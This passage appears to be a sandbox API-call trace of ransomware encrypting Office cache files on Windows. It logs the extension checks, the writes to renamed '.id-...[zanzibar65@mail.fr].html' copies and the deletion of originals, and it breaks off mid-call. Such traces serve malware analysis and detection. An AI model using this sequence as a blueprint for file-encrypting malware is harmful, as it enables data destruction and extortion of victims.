dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.136] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.136] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.136] GetLastError () returned 0x0 [0035.136] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x10676, lpOverlapped=0x0) returned 1 [0035.139] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0035.141] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.141] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.141] SetEndOfFile (hFile=0x178) returned 1 [0035.141] CloseHandle (hObject=0x178) returned 1 [0035.142] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.142] SetEndOfFile (hFile=0x198) returned 1 [0035.144] CloseHandle (hObject=0x198) returned 1 [0035.144] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.144] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0035.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.144] lstrlenW (lpString=".doc") returned 4 [0035.144] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.144] lstrlenW (lpString=".docx") returned 5 [0035.144] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.144] lstrlenW (lpString=".pdf") returned 4 [0035.144] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.144] lstrlenW (lpString=".xls") returned 4 [0035.144] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.144] lstrlenW (lpString=".xlsx") returned 5 [0035.144] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.144] lstrlenW (lpString=".ppt") returned 4 [0035.145] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.145] lstrlenW (lpString=".zip") returned 4 [0035.145] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString=".rar") returned 4 [0035.145] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString=".bz2") returned 4 [0035.145] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.145] lstrlenW (lpString=".7z") returned 3 [0035.145] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.145] lstrlenW (lpString=".dbf") returned 4 [0035.145] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.145] lstrlenW (lpString=".1cd") returned 4 [0035.145] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.145] lstrlenW (lpString=".jpg") returned 4 [0035.145] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.145] lstrlenW (lpString=".doc") returned 4 [0035.145] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString=".docx") returned 5 [0035.145] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.145] lstrlenW (lpString=".pdf") returned 4 [0035.145] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString=".xls") returned 4 [0035.145] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.145] lstrlenW (lpString=".xlsx") returned 5 [0035.145] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.145] lstrlenW (lpString=".ppt") returned 4 [0035.146] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.146] lstrlenW (lpString=".zip") returned 4 [0035.146] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.146] lstrlenW (lpString=".rar") returned 4 [0035.146] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.146] lstrlenW (lpString=".bz2") returned 4 [0035.146] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.146] lstrlenW (lpString=".7z") returned 3 [0035.146] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.146] lstrlenW (lpString=".dbf") returned 4 [0035.146] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.146] lstrlenW (lpString=".1cd") returned 4 [0035.146] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.146] lstrlenW (lpString=".jpg") returned 4 [0035.146] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.146] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.146] lstrlenW (lpString="Setup.xml") returned 9 [0035.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.147] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=9352) returned 1 [0035.147] CloseHandle (hObject=0x198) returned 1 [0035.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.147] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.147] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.147] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.147] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.147] GetLastError () returned 0x0 [0035.147] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2488, lpOverlapped=0x0) returned 1 [0035.149] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0035.150] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.150] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.150] SetEndOfFile (hFile=0x178) returned 1 [0035.150] CloseHandle (hObject=0x178) returned 1 [0035.151] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.151] SetEndOfFile (hFile=0x198) returned 1 [0035.152] CloseHandle (hObject=0x198) returned 1 [0035.152] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.152] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.152] lstrlenW (lpString=".doc") returned 4 [0035.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.152] lstrlenW (lpString=".docx") returned 5 [0035.152] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.152] lstrlenW (lpString=".pdf") returned 4 [0035.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.152] lstrlenW (lpString=".xls") returned 4 [0035.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString=".xlsx") returned 5 [0035.153] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.153] lstrlenW (lpString=".ppt") returned 4 [0035.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.153] lstrlenW (lpString=".zip") returned 4 [0035.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.153] lstrlenW (lpString=".rar") returned 4 [0035.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString=".bz2") returned 4 [0035.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString=".7z") returned 3 [0035.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.153] lstrlenW (lpString=".dbf") returned 4 [0035.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.153] lstrlenW (lpString=".1cd") returned 4 [0035.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.153] lstrlenW (lpString=".jpg") returned 4 [0035.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.153] lstrlenW (lpString=".doc") returned 4 [0035.153] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString=".docx") returned 5 [0035.153] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.153] lstrlenW (lpString=".pdf") returned 4 [0035.153] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString=".xls") returned 4 [0035.153] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.153] lstrlenW (lpString=".xlsx") returned 5 [0035.154] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.154] lstrlenW (lpString=".ppt") returned 4 [0035.154] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.154] lstrlenW (lpString=".zip") returned 4 [0035.154] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.154] lstrlenW (lpString=".rar") returned 4 [0035.154] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString=".bz2") returned 4 [0035.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString=".7z") returned 3 [0035.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.154] lstrlenW (lpString=".dbf") returned 4 [0035.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.154] lstrlenW (lpString=".1cd") returned 4 [0035.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.154] lstrlenW (lpString=".jpg") returned 4 [0035.154] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.154] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.154] lstrlenW (lpString="AccessMUI.xml") returned 13 [0035.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.156] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1349) returned 1 [0035.156] CloseHandle (hObject=0x198) returned 1 [0035.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0035.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.156] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.156] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.157] GetLastError () returned 0x0 [0035.157] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x545, lpOverlapped=0x0) returned 1 [0035.158] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x550, lpOverlapped=0x0) returned 1 [0035.159] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.159] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.159] SetEndOfFile (hFile=0x178) returned 1 [0035.159] CloseHandle (hObject=0x178) returned 1 [0035.160] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.160] SetEndOfFile (hFile=0x198) returned 1 [0035.161] CloseHandle (hObject=0x198) returned 1 [0035.161] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.161] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.161] lstrlenW (lpString=".doc") returned 4 [0035.161] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".docx") returned 5 [0035.161] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.161] lstrlenW (lpString=".pdf") returned 4 [0035.161] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".xls") returned 4 [0035.162] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString=".xlsx") returned 5 [0035.162] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.162] lstrlenW (lpString=".ppt") returned 4 [0035.162] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.162] lstrlenW (lpString=".zip") returned 4 [0035.162] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.162] lstrlenW (lpString=".rar") returned 4 [0035.162] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString=".bz2") returned 4 [0035.162] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString=".7z") returned 3 [0035.162] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.162] lstrlenW (lpString=".dbf") returned 4 [0035.162] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.162] lstrlenW (lpString=".1cd") returned 4 [0035.162] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.162] lstrlenW (lpString=".jpg") returned 4 [0035.162] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.162] lstrlenW (lpString=".doc") returned 4 [0035.162] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString=".docx") returned 5 [0035.162] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.162] lstrlenW (lpString=".pdf") returned 4 [0035.162] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.162] lstrlenW (lpString=".xls") returned 4 [0035.162] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.163] lstrlenW (lpString=".xlsx") returned 5 [0035.163] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.163] lstrlenW (lpString=".ppt") returned 4 [0035.163] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.163] lstrlenW (lpString=".zip") returned 4 [0035.163] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.163] lstrlenW (lpString=".rar") returned 4 [0035.163] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.163] lstrlenW (lpString=".bz2") returned 4 [0035.163] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.163] lstrlenW (lpString=".7z") returned 3 [0035.163] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.163] lstrlenW (lpString=".dbf") returned 4 [0035.163] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.163] lstrlenW (lpString=".1cd") returned 4 [0035.163] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.163] lstrlenW (lpString=".jpg") returned 4 [0035.163] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.163] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.163] lstrlenW (lpString="branding.xml") returned 12 [0035.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.164] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=596341) returned 1 [0035.164] CloseHandle (hObject=0x198) returned 1 [0035.164] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0035.164] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.164] CreateFileW (lpFileName="C:\\MSOCache\\All 